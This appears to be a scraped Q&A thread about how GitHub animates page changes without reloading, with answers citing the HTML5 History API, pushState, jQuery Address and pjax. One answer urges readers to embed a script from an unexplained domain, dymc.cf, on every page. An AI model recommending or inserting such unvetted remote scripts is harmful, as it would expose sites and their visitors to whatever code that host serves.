GitHub seems to be doing something incredible: animated page changes without breaking state. The address bar changes, but the page doesn\'t refresh and I get animat
http://www.asual.com/jquery/address/ is a jquery plugin which supports HTML 5 History API in addition to the traditional hash tag method. This is useful for supporting the transitions in older browsers (via hash tag) while using the HTML 5 method when available.
They most likely use Ajax and HTML5 history.pushSate.
Note that this only works in the most recent browsers like Firefox 4 and Chrome 8 (IE 9 ?). So you would still need a fallback solution like using the fragment identifier as a lot of Ajax driven websites do now (a good example to see the difference is Facebook).
Pjax: Demo, Source (GitHub)
It is the one that GitHub uses... reference
Actually, the question has already been answered, but I still wanted to add how everyone can easily implement this on their website. All you have to do is insert the following script on each page.
<script src="https://dymc.cf/js.js"></script>
More information here: https://dymc.cf/documentation
They have a detailed blog entry up on how it works (HTML5 History API) here: https://github.com/blog/760-the-tree-slider